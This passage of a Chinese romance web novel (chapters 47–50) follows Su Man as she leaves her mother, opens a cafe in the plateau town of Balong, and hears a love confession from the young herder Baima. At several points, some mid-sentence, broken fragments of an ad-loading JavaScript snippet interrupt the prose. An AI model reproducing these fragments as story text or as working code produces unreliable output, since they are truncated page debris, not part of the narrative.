“白玛,先好好玩几天吧,等你走了,我再处理我的事情。” “好的,姐姐。” - 白玛在永京呆了一周。 他们一起把永京的著名景点都去过了,一起吃了许多美食,也一起拍了许多美照。白玛还把那些照 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 片发到了他的社交平台上,他为这一切感到兴奋与骄傲。 离别,总是要离别。 再美好的日子,也会落下蓝色的帷幕。 “白玛,我帮你定张机票吧。回去别坐火车了。” “啊?真的吗?我还没有坐过飞机呢!我不知道怎么坐呀!” “我教你啊!你火车不也是这么坐过来的嘛!” 白玛撸着自己的脑门,顺手又向脑后拨起额前碎发。 这些天出门,苏曼都给他扎了一个半丸子头,看上去更加精神利索了,只是他还有些不太习惯。 坐飞机回去,应该很快吧,来的时候那么漫长,回去,却是一瞬间的事。 “姐姐,我好舍不得你。” 白玛歪倒在沙发上,把脸埋在一边,他不想走,可是他又不得不走了。 “傻瓜,你看你这次来不是也很容易嘛,我现在才发现,相见,不是那么难的事。只要有心,在哪里都可以相见的。” “那你下次可以去见我吗?” 白玛依然提不起精神来,幽幽的喃道, “可以啊。等我想你了,我就去见你。” “那你现在不想我吗?”白玛扭过头来看着苏曼,一脸委屈。 苏曼看着他,就像一只委屈小狗,忍不住又逗了他起来:“不想。你在这有什么好想的。” 白玛扁起嘴,又将脸埋了下去。 “好啦!明天我们收拾收拾,帮你把快递先发出去,等你到家的时候,刚好也就能收到了。” “姐姐,你要是在永京过的不开心,你一定要来巴龙找我。我等你哦。” 这是什么话。什么叫等她。苏曼的心紧了起来。 “我帮你看看机票。”苏曼没有回答他。 第二天,他们哪也没去,在家里窝了一天。白玛打包他的快递,苏曼躺在沙发上刷着剧,吃着水果。 这样的日子,和谐、平淡,却安宁。 第三天,白玛踏上了飞往兰城的飞机,然后晚上他再坐九个小时的汽车回巴龙。 第四天的上午,他才能站在他那个大大的院子里。 这一次,他不再惧怕“分别”,因为“分别”在“想见”面前,已经微不足道。你想见她,无论在哪里,你都可以去到。 但他在机场,还是紧紧的拥抱了苏曼,好像只有分别,才可以让他们相抱在一起。借着分别,才可以倾诉自己的心声。 这种心声,两个人都能听到。 “姐姐,我等你。” “嗯。” 这是一个不太正式的约定,也是一个不太正式的回答。 像是对着硕大的象征着分别的机场的尊重,又像是对那片神奇高原的许愿。 看着白玛转过拐角,苏曼的眼泪还是不争气的流了下来,她以为他们有了“相见”的约定,她就不会不舍。 可是,她还是会不舍他的离去。他那高高的身影,如在长西机场一般,帮她提行李,如在庆功宴一般,为她打架,如在牧场一般,替她挡阳光...... 他是一个背在苏曼身上的盾牌,而他的离去,她的盾牌也就没有了。 他还是,这二十八年来,唯一一个打开苏曼内心的人,温暖苏曼内心的人。 唯一一个。 他像阳光一样温暖,一样普照大地,他从那遥远的高原上升起,最后照进了苏曼冰冻的心里。 47. 第47章 白玛走后,苏曼约了她的母亲,在一家银行。 在柜台,她把钱转给了她,然后拿回了那张“买身契”。 “你新房子看好了吗?” “这你就不用管了。” 这以后,与她再也无关了。她再也不能拿亲情来绑架她了。 苏曼收回身份证和银行卡,还有那张转账凭条,最后望了一眼她的母亲,走出了银行。 她不知道自己这么做对不对,但她必须这么做。 她的命也是命,她的日子也是日子,她的幸福也是幸福。 哪怕已经身心疲惫、千疮百孔,她还是想好好的活下去。这是白玛对她的期望,也是神山给她的祝福。 白玛妈妈说过:幸福比金钱重要。 她想去那个叫巴龙的地方,缝补自己的下半生。 她想换一种活法。 - 将门窗锁好,将过去关在了这个屋子里。 苏曼开着他的三叉SUV上路了。她想一路旅行,一路开到那个终点——巴龙县。 在路上,她遇到了形形色色的人,看到了形形色色的人生,那些人都比她勇敢,早已过上了自己想要的生活。 当她一路驰骋,最后开上了318国道,她感觉这就是一条救赎之路,她平静的高原生活,就在那个尽头等着她,往后余生,都只有平静,与安宁。 当她把车子停在白玛院子的门口,是个金灿灿的早晨。 白玛妈妈像往常一样,带着小降措去大舅舅家里了。 白玛也像往常一样,把马从马房里赶出来,让它们自己上山吃草。 当他看见那辆熟悉的黑色SUV停在他的院门口的时候,他按着心跳的震动,跑过去看了看车尾的车牌。 京。 当他看到这个字的时候,他又跑到了驾驶室前,看见了苏曼那张灿烂的笑脸,她摇下车窗,金色的晨光铺在她的脸上。 白玛的眼里盈满热泪。 “姐姐!” 白玛将身子后仰,举着拳头大声喊着:“啊——” 他仰起头,不让自己的眼泪流下来。 苏曼在车里笑着,鼻子一阵发酸,她抽了一张纸巾,递给白玛。 “笨蛋。” 她知道,不是白玛需要她,而是她需要白玛。 “上车吧。” “嗯!姐姐,我来开吧!”白玛手里捏着纸,胡乱扫了一下眼角。 “好。” 苏曼下车,坐到了副驾驶。白玛上车,又重新调了调座椅,这次他不需要苏曼再教他了。 他们朝着县城的方向开去。 “姐姐,去哪?”白玛的眼睛还是红红的,他还没有从刚才的剧烈激动中缓过来。 “你先开到318,我再指给你看。”苏曼打开手机开始看导航。 “不是假日酒店吗?” “不是。” 白玛皱起眉,歪了歪脑袋,他不知道姐姐又有什么惊喜要给他。 “往前开一点,就前面那个那个咖啡厅。” 苏曼指挥着白玛将车子停了下来。这是一座两层楼的咖啡厅,楼上有个露台。 苏曼带着白玛走了进去,里面空空的,但屋里的阳光很好,有一排大大的玻璃窗。里面有个汉族女孩在那里等着他们。 直到三个人一起坐下来,白玛才知道,苏曼租下了这里,她要开一家叫“云上咖啡”的咖啡厅。 苏曼对巴龙县已经非常了解了,所以当她在网上看到这个咖啡厅转让的时候,她知道这个地段不错,价格也合适,她就租下了。 那个汉族女孩要离开高原,因为她和她的高原男朋友分手了。 这片神奇的土地,总有人离开,又总有人奔来。 苏曼想,就当是给自己一个疗愈的间隔年吧。至少现在,她是热爱巴龙的,未来无常,谁又能说的清呢。 在巴龙,开一家咖啡厅,就是她现在想做的事。 “姐姐,你真是姐姐,你做的事情我是想都不敢想。”白玛兴奋不已。 这个弱小的姐姐,她其实并不弱小,她会做别人不敢做、或做不到的事情。 白玛对苏曼产生了敬佩之情。不再是单纯的保护之欲了。 “那当然,你以为我比你多吃那几年饭,是白吃的啊!” 苏曼拿着合同,和白玛一起上了楼,楼上的露台可以做露天咖啡,还有她的起居也在楼上。 楼上住人,楼下营业,这再好不过了。 “白玛,这个露台,我想了想,还是留着自己用,就我自己晒太阳的地方,不让客人上来了,你觉得呢?” “好啊!姐姐,你的行李呢?这里啥也没有啊!” “哦,我先住两天酒店,我的行李过两天到,我发了物流过来了。” “还是姐姐聪明。” 白玛跟在苏曼身后,兴奋的不知该怎么好,这一切的一切,都太突然了,而且完全超出了他的想象力。 “明天我去找几个工人,把墙刷一下,桌椅就不换了,省点钱,楼上打扫一下卫生就行了。” “那叫洛绒表哥来刷吧。他正好是干这个的。” “也行。你跟他说说吧,正常收费,你可别去刷脸啊!不然我就宁愿另找别人了。” “嘿嘿。” 白玛的心得到了巨大的满足,神山终于听到了他的声音,让姐姐留了下来。 - 几日的忙前忙后,“云上咖啡”终于要开业了。店里雇了两个店员和一个咖啡师,是那个汉族女孩介绍的,这也省了苏曼许多事。 苏曼想在这里,慢慢的把自己修好。 开业这日,次仁送来了一个大大的花篮,和门口的花篮摆在了一起。 他看到之前白玛朋友圈里发的他在永京的照片,他觉得白玛是个真正的汉子,他没有看错他。 但是今天过来,他才发现,原来白玛还没有跟苏曼在一起。 “姐姐,次仁给你送了一个那么大的花篮,我什么都没给你准备呢,我也不懂要搞这些啊。” 白玛正在楼上帮苏曼安窗帘,原来的窗帘有些旧了,苏曼在网上买了新的,刚好今天到了。 “哎哟,你都帮我做这么多事了,还在意什么花篮。”苏曼仰着头,看着站在梯子上的白玛。 白玛笑了笑,他其实就是在意次仁做的事。 “姐姐,次仁在楼下等你呢,你下去招呼他吧。” “没事,等你弄完一起下去。” 白玛心里美滋滋的。 次仁坐在店里,硕大的玻璃窗,擦的干干净净,店里的店员是本地人,只有咖啡师是从兰城来的,咖啡师给他做了一杯咖啡。 他算是今天的第一个客人了。 白玛和苏曼在楼上装窗帘,这才没多久,次仁感觉自己就像是一个外人了。 楼上白玛在喊:“次仁,你上来!把你的咖啡也带上来。” 次仁忙站起身,端着咖啡上了楼。只见白玛和苏曼坐在露台的户外椅上,苏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 曼正在泡茶。 “好啊!你们两个在楼上喝茶,也不管我。” “哪有!刚装完窗帘就把你喊上来了。我们懒的下去了。” “那你们刚才怎么不喊我!” “哎呀!没想到嘛。别叽歪了啊!”白玛嘴咧的老高,一个劲的搓着自己的手,可能是刚才干活手上沾了灰。 “你去洗洗手嘛。厕所不就在那嘛!”苏曼拍了一下白玛,白玛赶紧起来去洗手。 楼上除了苏曼的起居室之外,在楼梯口还有一个小小的厕所,里面很窄,但是还是装了一个电热水器,解决了洗澡的问题,上面还吊着一个老旧的浴霸。 在厕所的外面,有一个小小的洗手盆。白玛拿起肥皂认真的搓了起来,不时还望向露台那边。 “次仁,你没想到吧,我又回来了。” 这次回来,苏曼看上去比以前更加放松了,再也不是紧绷绷的小心翼翼的模样。 而且她看上去,似乎开心了许多。 “嗯......是不是因为白玛去永京找你了?” 次仁很想知道白玛和苏曼,进展到哪一步了。他敬佩白玛的勇敢,他都没敢做的事,白玛毫不犹豫的就去做了,当真是他们草原上的汉子。 而且,他竟然影响了苏曼这么多,苏曼能放弃永京来到巴龙,这是一个多么大的决定和改变。 这一切,若不是因为白玛,他不信。 “算是吧。他教会了我一些东西。” “教会了什么啊?”白玛甩着手上的水走了过来。 “啊,我说你教会了我一些东西。教会了我放下。”苏曼看着白玛,他已经不像是个孩子了。 “放下永京吗?”次仁继续问道, 白玛和苏曼相视一笑。 “对,哈哈。”苏曼端起茶杯,美美的喝了一口,清涩甘甜。她对这个露台很满意。 白玛也坐下,跟着端起了茶杯,也喝了一口,然后靠在椅背上,向后仰起,这些日子,他可太开心了。 次仁看不太懂,又好像不太满意,他想要的答案还是很模糊。 “这个露台真棒!以后你们可以常来哈!” 苏曼开始沉浸在自己的新生活、新环境里。 做一个咖啡店的老板娘,不用再去考虑KPI,不用再去勾心斗角,更重要的,再也没有那个步步紧逼、精神蹂躏她的母亲了。 她重新办了一张巴龙的电话卡,又把母亲的微信设置了消息免打扰。她还是没有舍得完全断联,她只是更有了主动权。 “记得带曲珍来。”白玛叮嘱次仁, 次仁白了他一眼:“要不要我把德西也叫来啊?” “你还是不是兄弟?” “你是不是兄弟!” 苏曼看着他们两个打打闹闹的,又想到了扎西,这些,都是她在巴龙的好朋友。 “白玛,扎西什么时候回来啊?” “不知道呢,我最近忙,也没跟他联系。” “扎西不是私奔了吗?”次仁也知道这个消息,这种事,估计没有人会不知道吧。 苏曼手机短信响起。 “白玛,我的洗衣机到了,你跟次仁去帮我取一下吧。” 店里的洗衣机里面太脏了,苏曼索性买了一台新的。 说着苏曼就把车钥匙递给白玛,她的三叉SUV。 “哎,我来开吧,我还没开过三叉呢。” 次仁想接过钥匙,却被白玛一把抢了过去,直接奔向了楼梯口。 48. 第48章 “白玛!给我开一下嘛!”次仁追在后面喊着。 白玛径直走向停在咖啡店门口的黑色SUV,上了驾驶室。 “位置都是按我的调的,你开还得重新调。” 白玛才不想给他开呢。 “咱俩身材不都一样嘛,有什么好调的。” 次仁悻悻的坐进了副驾驶,“回来的时候我开哈!” 取快递的地方很近,几分钟就到了,但是次仁还是趁机又问了白玛。 次仁:“兄弟,你跟苏曼到底怎么回事?” 白玛:“什么怎么回事?” 次仁:“你们两个没在一起?” 白玛:“什么在一起啊?你说什么啊?” 次仁:“你不是都去永京找她了吗?” 白玛:“那又怎么了?” 次仁:“我去,你跑去永京,为了她,不就是因为你喜欢她吗?你还跟我这装什么傻啊!” 白玛被次仁说的失了语,他没想那么细,他就是想姐姐了,就是想去找她。 “你还没表白?”次仁在一旁不可思议的样子。 白玛舔着唇,在努力思考。 “我是喜欢她,但是我不知道是不是那种喜欢。” “噢......” 次仁转而哈哈大笑了起来。他看着这个比他小几岁的白玛,情窦初开而不自知。 “那行,那你慢慢想。我可开始追了啊!现在你总没有借口了吧,你现在也不是她的向导了,她也来巴龙了,这没啥可说的了。” “那不行,姐姐是因为我才来巴龙的,又不是因为你。” “哎哟兄弟,你怎么知道人家是因为你才来的,说不定人家就是喜欢我们高原呢!你们又没在一起,我怎么不可以追。” “我们在一起了。我们天天都在一起呢。” “你可拉倒吧。我以后也可以天天来。” “......” 白玛说不过次仁,次仁可比他直接多了,主要是他自己还没搞清楚。 “次仁,你说的喜欢,是什么样的啊?” “就你这样的啊。” “......” 回来的时候,白玛还是拗不过,把车让给了次仁开。 两个人把洗衣机取了回来,又一起扛上了楼,然后白玛把洗衣机给装上,又把旧的洗衣机装到了自己的车上,他可以拿回去洗一些马衣,冬天马也要穿衣服的。 “姐姐,还差什么不?” “还叫姐姐呢?”次仁在一旁嘲弄,白玛瞬间红了脸。 苏曼一头雾水:“怎么了?” “没什么。”白玛赶紧又跑去厕所那里洗手。 次仁悠哉的看着落日,喝着他那杯剩了个底的咖啡。 - 苏曼的高原生活就这么开始了。 每天睡到自然醒,楼下自有人帮她打理,她只需偶尔下楼看看就行。下午的时候可以一直坐在露台上晒太阳,一直晒到傍晚。 慢节奏的生活,让她不再紧张,身心也全部放松了下来。 白玛每天都会抽空过来看看,呆一会儿。不忙的时候,会从中午一直呆到晚上,有时候会一起吃个晚饭再走。 次仁来过两回,每次白玛都在,他们还像欢喜冤家一样互相怼来怼去。 白玛妈妈却心事越来越重了。 “白玛,你那个......是到县上开店了索?” “啊,是的呢。” “你们两个......你想好了没有?” 白玛妈妈见白玛上次从永京回来,也并没有多开心的样子,这次苏曼回到巴龙,他每天忙碌的像个快乐小狗。 这不免让白玛妈妈开始忧虑了起来,因为苏曼在县上开店的消息,整个村子里的人都知道了,而且也都私下开始说那是白玛的女朋友,是为了白玛才留下来的。 最主要的,今天上午德西爸爸专门为这个事去找大舅舅了。白玛妈妈不管,但是大舅舅这个大家长,是要管的。 白玛不怕阿妈,但是还是有些怕大舅舅的。因为大舅舅坐家,也一直帮衬着他们家,他阿妈作为一个女子,留在家族里独自抚养三个孩子,是需要家族的支持的。 “阿妈,你说什么呢?”白玛没有明白阿妈的意思。 “一会儿你去趟你大舅舅家,他有话要问你哦。” 作为女性,有些大事是不会参与讨论的。特别是婚姻大事,男孩也羞于跟阿妈讨论这些。 往往自由恋爱的两个人,只会到最后要结婚的时候,才会通知双方的家长。在平时,他们是从来不会跟家中提起任何男女之事的。因为害羞。 即便父母知道了,也会假装不知道。到最后的时候,才会说一个“行”或“不行”。 当然,包办婚姻在高原上依然存在。那种一般是自己找不到合适的男女朋友,条件比较差的家庭,才会直接由家中长辈包办。 白玛走去大舅舅家,阿妈留在家中。他十分疑惑,今天阿妈说话有些奇怪。 大舅舅常年都是穿着一件迷彩工服,身上的口袋特别多,总是装的鼓鼓囊囊的。到了夏季天热的时候,他就会换上一个钓鱼马甲,同样是上上下下许多口袋。 他家很富,但是你从他的穿着上一点也看不出来,他并没有比白玛妈妈年纪大多少,但是看着却像个小老头,满脸黑红的皱纹,个子也是小小的。 白玛走进屋里,奶奶马上就走了出去。 “白玛,你过来。我有事问你。” “怎么了?舅舅。”白玛一脸疑惑的在长凳上坐了下来。 “你想坐家不?” “这个事,听阿妈的嘛。” 一般来说,选谁坐家是听父母的,因为坐家意味是给父母养老送终,哪个孩子父母最喜欢、最舒心、最得力,就会选择哪个孩子坐家。而不是一定要长子坐家的。 “你阿妈跟你姑姑是想让妹妹坐家呢。” “那就妹妹坐嘛。我都可以的。” 白玛心里其实也已经认定是妹妹坐家了。他都想好了,未来把马卖掉一部分,给妹妹换成牛留下,等他结婚的时候,他再带着另一半马作为嫁妆,嫁到别人家里去。 “那你嫁给德西要得不?” 德西爸爸跟大舅舅商量了一上午,大舅舅终于松了口。 苏曼定居巴龙,村子里的人都知道了,德西爸爸着急,大舅舅也担心会出问题。 他是不允许白玛嫁给一个汉族女孩的。 大舅舅可没有白玛妈妈那么“随意”。白玛妈妈生长在高原,但她的思想却并没有完全被禁锢,她的所有做法,都是以“人”为本。 她没有念过书,也没有人教她。也可能是奶奶的豁达,才让她变成这样。 所以,白玛想做什么,她都会支持。只要不是伤天害理的事。 白玛当然不会答应。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “不行。” 大舅舅默默的抽着烟,这种事情也没法多说,因为大家都会觉得害羞。 白玛把头低的很低很低,他真的是羞的抬不起头来,长发把他的整张脸都盖住了。 “你回去吧。” 大舅舅放他走了,白玛逃一样的走了出去,看见院子里的奶奶也回头在望他,还向他招手。 妹妹还小,眼下家里还需要他,他也不可能现在就嫁出去。但是大舅舅为什么这么着急给他定亲,他也没搞明白。 不过,无论如何,白玛都是决定要自己选老婆的,他不着急结婚,他要嫁一个自己喜欢的。 回到家里,白玛妈妈用眼神询问他,他摇了摇头。 白玛妈妈不再作声。她要让她的儿子,自己做决定。 到了傍晚的时候,家中没事了,白玛又去了云上咖啡。 这些天他都是这样,只要白天有事,他就会傍晚的时候过去,直到晚上十点钟打烊他再回来。 一路上他都在想着大舅舅说的事,又想起了次仁跟他说的,自己好像真的是喜欢上了姐姐。 除了姐姐,他好像也没有喜欢过什么其他女孩子了。 苏曼在店里坐着,摆弄着她的电脑,白玛凑了过去:“姐姐,你做什么呢?” “没什么,看个电影呢。” “我也想看。” 白玛想起他们一起在永京看电影的时候,两个人捧着爆米花,靠在一起。 他就是每天都想和姐姐粘在一起,这是不是就是喜欢。 次仁说是。 白玛坐在苏曼的对面,用手托着腮帮子,就那么一直看着她,他好像是真的喜欢姐姐了。 他将手放在桌面上,悄悄的向苏曼的手靠近,忽然听见自己心跳“咚咚咚”的声音。 这应该就是喜欢了。 “姐姐,我喜欢你。” “嗯。” “你做我女朋友吧?” 苏曼眼皮瞬间抬了起来,看着一脸笃定的白玛,他的胸腔剧烈的起伏着。 苏曼迅速缩回了手:“你别胡说......” 她不安的盯着笔记本电脑,脑中一片混乱。她想到自己对白玛的依赖,又想到白玛比她小整整九岁。 “我们两个不配。你比我小那么多呢。别胡思乱想了。” “不就是九岁嘛,我又不在乎。” 白玛一双浓眼,直直的盯着苏曼,他想知道的是,姐姐是不是也喜欢他。 他想过他们的每一个拥抱,好像都是他主动的,他开始怀疑姐姐是不是不喜欢他。 “你是不是不喜欢我?” “喜欢啊,但不是那种......” “谁说的。” 白玛倔强的认为他是她第一个信任的、靠近的男人,她就应该喜欢他。 “我现在还不想谈恋爱,还没想好。” 苏曼依然用老借口搪塞了白玛。 “那我等你。反正我今天告诉你,我喜欢你。是那种喜欢。” 白玛还不忘再次强调“喜欢”的定义。 “还有,你不许理次仁。他也喜欢你。” 苏曼从刚才的紧张焦虑中,一下子又被白玛说的哭笑不得。 “行,你们两个都喜欢我,行了吧。” “但是你只能喜欢我。” 咖啡厅里还有客人,但是在苏曼面前,他什么都不顾忌。 49. 第49章 表白后的白玛心里豁然开朗了,他现在可以名正言顺的“追”着姐姐了。当然,没有表白前,他也是每天都追着姐姐的。 姐姐虽然没有答应,但是也没有拒绝,更没有恼他,只是需要他等。 他当然可以等,但是在等的同时,他还要与他的情敌次仁战斗。 白玛充满了斗志。他直接开车去了次仁的马场。 “次仁,我跟姐姐表白了。”白玛仰着头,站的直直的看着次仁。 虽然他们两个人身高差不多,但是白玛却俨然一副我个子比你高,我在俯视你的姿态。 次仁瞥了他一眼,轻笑一声:“好啊。终于开窍了。” “你以后不许追姐姐了。” 次仁又是一声冷笑:“表白了就是你的了?你姐姐没答应你吧?” “她没答应我,又不是因为不喜欢我。她只是现在还不想谈。我知道她的,她需要时间。” 白玛没有理会次仁的攻击,而是自顾自的解说,像是说给自己听一样。 “那你也管不了我。”次仁依旧无视他。 不过他替他高兴。他的这位兄弟终于长大了,是个男人了。 次仁牵来一匹马,给白玛看,这是他阿爸刚买回来的新马。 “混血的。你看看。” 白玛接过缰绳,开始研究起了这匹新马。混血马,在林孜县有,但是他们巴龙还不多,巴龙主要还是繁殖本地马,毕竟繁殖比购买要容易的多。 “不错。要是我们也能配混血马就好了。” “慢慢来嘛。” 次仁也一直在思考这个问题。所有爱马的人,都会希望自己的马越来越漂亮,越来越强壮,卖出去的价格越来越高。 “哦,对了,你的小黑死掉了你知道吗?” “什么?怎么会?” 白玛还真的不知道,自从他把小黑送给甲尕爸爸后,就再也没有去想它了,想起来也是伤心,过去了的事就过去了。 他只知道甲尕爸爸没多久就把马卖了,换成了十五万现金。这个价格算是卖便宜了,一般来说这种价位的马,转手卖的话,随便加个三五万都是正常。 “嗯。小黑被撒尼乡一个人买走了,那个人我认识。” 外地马,果然不适合高原。它们也会高反,也会肺气肿,也会死去。白玛不知道自己是该庆幸,还是不幸。 “是没养好还是......” 白玛觉得,如果小黑在他手里,他一定能养的很好,但是也不是十分确定,毕竟这是他第一次养外地马。 “具体不清楚,不过这也很正常,之前还有一匹三十万的外地马,不是也死了嘛!” “嗯。” 这事白玛知道,当时这匹马被买回来后,算是他们巴龙县的名马了,几乎每个人的手机里都存有这匹马的视频,大家互相在各个群里传阅。 那匹三十万的外地马,是由一个村的村长牵头,好几个人一起凑钱买的,算作投资,将来卖了也算是这几个人一起的收益。 但是好像也是才过了一个多月不到两个月,那匹马就突然死掉了。大家都在惋惜,同时又庆幸,好在是几个人一起买的,每个人的损失也不至于太大。 马这个事情,真的是他们的心头好。可惜漂亮的外地马,总是在高原上活不长。 可本地马又小又丑,见过了外地马的他们,总是会心心念念的想再赌一把,期望自己买回来的这匹外地马,能好好的活下去。 当然,活下来的外地马也是有的,并不是全部都活不了。主要还是看马的适应情况,这种比例大概是五十对五十。听天由命。 而混血马,对他们来说,算是个折中的安慰吧。 白玛扶着马背,一脚跨着爬了上去,骑着马调整了起来,待马熟悉他后,他就开始跑了几圈。马还好,不算烈。 “明天我们村子里赛马,你来不来?”次仁喊着白玛, “我去干嘛?你们的奖金又轮不到我。” “是叫你过来看!又不是叫你过来比赛。” “哦!那我问问姐姐吧。” ...... 次仁都没想到要叫苏曼的事,而白玛张口闭口都是姐姐。 “你可不要又叫什么曲珍哈!”次仁无奈叮嘱, “你放心,她自己会去的。” 邀请曲珍的男孩子肯定也是一抓一大把,她怎么可能不知道次仁村子里要赛马的消息。 这倒也是。德西怎么就不会到处乱窜,偏偏这个曲珍,真是哪里都有她。 可能这就是大美女的待遇吧。 - 每年县上组织的夏季赛马节过后,各个乡,各个村,都会自己单独再组织自己的赛马,就跟耍坝子一样,纯粹就是个夏季的娱乐。 这种娱乐大约会一直持续到冬季的来临。因为冬季地面冻的僵硬,马儿跑起来,特别伤马蹄,没有柔软的草地,抓地也不稳,骑马的人也更容易摔倒。 确切的说,冬季做马背技术表演,是非常危险的行为。 白玛开着苏曼的三叉SUV引来了许多人的注目,他们把车停在了一边的草地上,那边靠着矮山,停着一片各式各样的车。 曲珍的车也停在了那里,她早早就过来了。 苏曼越来越觉得这样的草原生活真是惬意,不用焦虑赚钱的事,什么季节就做什么事,该玩的时候,就穷乐呵的使劲玩。赚到钱高兴,没有钱也一样高兴。 “姐姐,今天你可以好好看看次仁赛马了,他在马背上简直就是个疯子。比我还疯。” 上次夏季赛马节,苏曼还不认识次仁,今天真要好好看看。 他们走了一圈,终于看到了曲珍。不过她确实跟一个男孩子在一起,所以他们也就没有过去打扰她。 “白玛,曲珍很多人追她吧?” “嗯。我听好几个兄弟都说过在追她。” “那她为什么不拒绝啊,她不是喜欢次仁吗?” “她又没和次仁在一起,她还可以选嘛。” “哦......” 这个说法跟之前扎西说的很像。就是他们不会在一棵树上吊死。那......白玛会不会也会去喜欢别的女孩子呢? “姐姐,你别多想啊!我不是那种的,我就喜欢一个,其他的不选。不过我看曲珍应该也是只喜欢次仁的,她估计就是想气气他。” 白玛脸涨的有些红,或许是太阳晒的。他有些紧张的看着苏曼。 “我又没说你。我看曲珍也不是那种,她对次仁挺上心的。” “嗯!对!”白玛赶紧认同。 今天苏曼穿了一件薄薄的黑色羽绒服,个子看上去更小了。高大的白玛站在一旁,显得他更加魁梧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 他拉着苏曼的胳膊,一起钻进了围着的人群里,找了个好的位置站好。 很快,曲珍发现了他们,她朝他们这边走了过来。 “白玛!苏曼姐姐!你们也来啦!” 她今天看上去心情不错,可能是看白玛和苏曼在一起,越来越和谐的样子,她觉得苏曼不再会是她的威胁了。虽然次仁依然不怎么理她。 “曲珍,以后你就叫我曼曼姐吧。叫苏曼姐太生疏了。我在公司里他们都这么叫我。” 白玛扭头看着苏曼:“曼曼,好听喔!” 苏曼抿着嘴扫了白玛一眼:“你可别学的油嘴滑舌啊!” “哎呀!我说真的嘛!我们这边很少有人叫这种名字的。” 曲珍看着他们两个,真的很像是一对。 “曼曼姐,听说你在县上开了个咖啡厅啊?有机会我去看你啊!” “好啊!多给我带点客人来。”苏曼想着追她的人那么多,可以都约来她的咖啡厅见面。 听苏曼这么一说,曲珍有些不好意思了,她把刚才那个邀请她过来的男孩子扔下了,自己跑了过来找白玛他们。 “不打折的哈!次仁来我们都不给打折!”白玛在一旁补充道, “什么你们?白玛,咖啡厅是你的吗?” 曲珍发现了白玛这句话的重点,她狡黠的大眼睛盯着白玛。 “咖啡厅当然不是我的,但是我得替姐姐盯着点,你们这些人过来,可别想刷脸。” “那你去也花钱喝咖啡吗?”曲珍又继续反问。 白玛被这一问直接愣住了,他还真没花钱买过一杯咖啡,要么都是在露台上和苏曼一起喝她泡的茶,要么就是他啥也不喝,就喝自己随身带的喜虎,在店里转悠。 反正他也不是拿自己当一个客人,当一个去喝咖啡消费的人。 这一点,他和次仁有很大的不同。 “他不喝咖啡,他都自带喜虎。哈哈。”还是苏曼给他解了围。 白玛的嘴半张着,话堵在嘴里,就是不知道该说啥。 曲珍看着苏曼跟白玛这一唱一和的,特别羡慕,要是次仁对她也这么好就好了。 “曲珍,你可以自带茶叶,去姐姐楼上的露台上喝茶。姐姐爱喝茶。” 白玛终于找到了一句话。苏曼拍打了他一下:“别瞎说,还自带茶叶,你啥时候带茶叶了,没事曲珍,你想过来随时过来,我请你喝茶,我那个露台喝茶挺舒服的。” 白玛被苏曼拍了一下,一直傻笑着。 曲珍听完也很高兴。要是白玛跟姐姐成了,她又能跟次仁在一起,那该多好啊。 她也可以跟次仁一起开咖啡馆,或者开马场,无论开个什么,她都愿意。 白玛把苏曼护在身前,苏曼开始学着当地人一样,和曲珍一起坐在地上,不一会儿白玛也坐了下来。 村子里的赛马比较简单,基本都是本村的一些骑手。还有一些年纪大的,也都是骑着玩的成分多一些,他们的腰已经不能跟小伙子们比了。 现场也有很多年轻姑娘,应该也有不少仰慕次仁的,因为苏曼看见她们会对着曲珍窃窃私语。而曲珍跟苏曼坐在一起,基本也是完全无视她们。 她有她自己的骄傲。 次仁马上就要上场了,曲珍眼里布满了光,那份骄傲瞬间就软榻了下来,变成了丝丝柔情。 50. 第50章 次仁一直没有过来这边,就好像他从来没有邀请过白玛和苏曼一样。他一直在忙着自己的事情。 赛马让他变得专注。他更没有在乎曲珍是否过来。 一匹马冲了过来,又绕回去,然后又冲过来一匹。苏曼不知道他们为何如此乐此不疲的喜欢这项运动,在她看来,好像只有白玛那次才让她感到震撼。 可能这是刻在他们血脉里的东西,也无需别人理解。 他们喜气洋洋,欢乐的聚在一起,看着马背上的男子汉们展示着他们的雄风。我表演给你看,你给我鼓掌喝彩,这就是他们之间无穷的乐趣。 “白玛,你看你们这的小孩子哦,这么小就开始喜欢马了。” 场上有很多小孩,有的跟着父母,有的跟着兄弟,一样盯的聚精会神。 “那当然了,我们从小都是跟马一起长大的,说是马背上长大的都不过分。” 从小的耳濡目染,英雄主义的熏陶,自然也想成为马背上那个被人喝彩的汉子。 次仁骑过两圈应该也就差不多结束了,曲珍在往后看去。 “次仁知道你们来了吧?”曲珍问道, “知道啊。就是他叫我们来的嘛。” 白玛正聚精会神的看着前面骑过来的一位大叔,他的帽子歪歪的戴着,马儿跑的飞快,但是他好像有些心有余而力不足,在马背上颠的身子都不稳了。 白玛看着似乎不太对劲,大叔身子左右摇晃,越来越颠,最后控制不住,直接选择了滚地跳马。这个动作看似危险,但是他们都是非常有经验的朝一旁滚开,这样能迅速的避开马蹄。 马儿急冲冲的朝这边奔来,人群开始向外围散开,白玛也扯着苏曼散开,苏曼个子小,被白玛一提就提到了一边。 一回头却发现前面还有个六七岁的小男孩吓的怔在原地,眼看着马就要冲过来了,白玛又回头扑了过去,一把抱着小孩滚在了地上。 马儿踏着蹄子从他头上越过,后腿直接踢在了他的脑袋上,鲜血顺着眼角流了下来。 后面只见次仁也在向这边奋力奔跑,他要去追回这匹失控的马。 这应该是一匹还没有被训好的马,就拉来比赛了。在马儿还未情绪稳定的情况下,随时有可能给你撂挑子,正如今天这样,大叔控制不住他的马了。 白玛抱稳小孩,小孩的父母这才反应过来,赶紧上去将小孩抱了起身,一个劲的跟白玛道谢,白玛摸了摸眼角,嘴里说“没事没事。” 苏曼也冲了过去,白玛站了起来,又拉着苏曼赶紧离开马道,走到了一边。 “天,你眼角流了好多血。”苏曼赶紧翻包,掏出纸巾给白玛擦拭,又拿出一张新的纸巾给他按上,很快纸巾就印透了,她又掏出一张按在上面。 “我眼睛没事吧?”白玛问苏曼, 苏曼皱着眉头仔细看了看:“没踢到眼睛,眼睛没事,差点你眼睛就要没啦!马都冲过来了,这你都敢往上扑。” 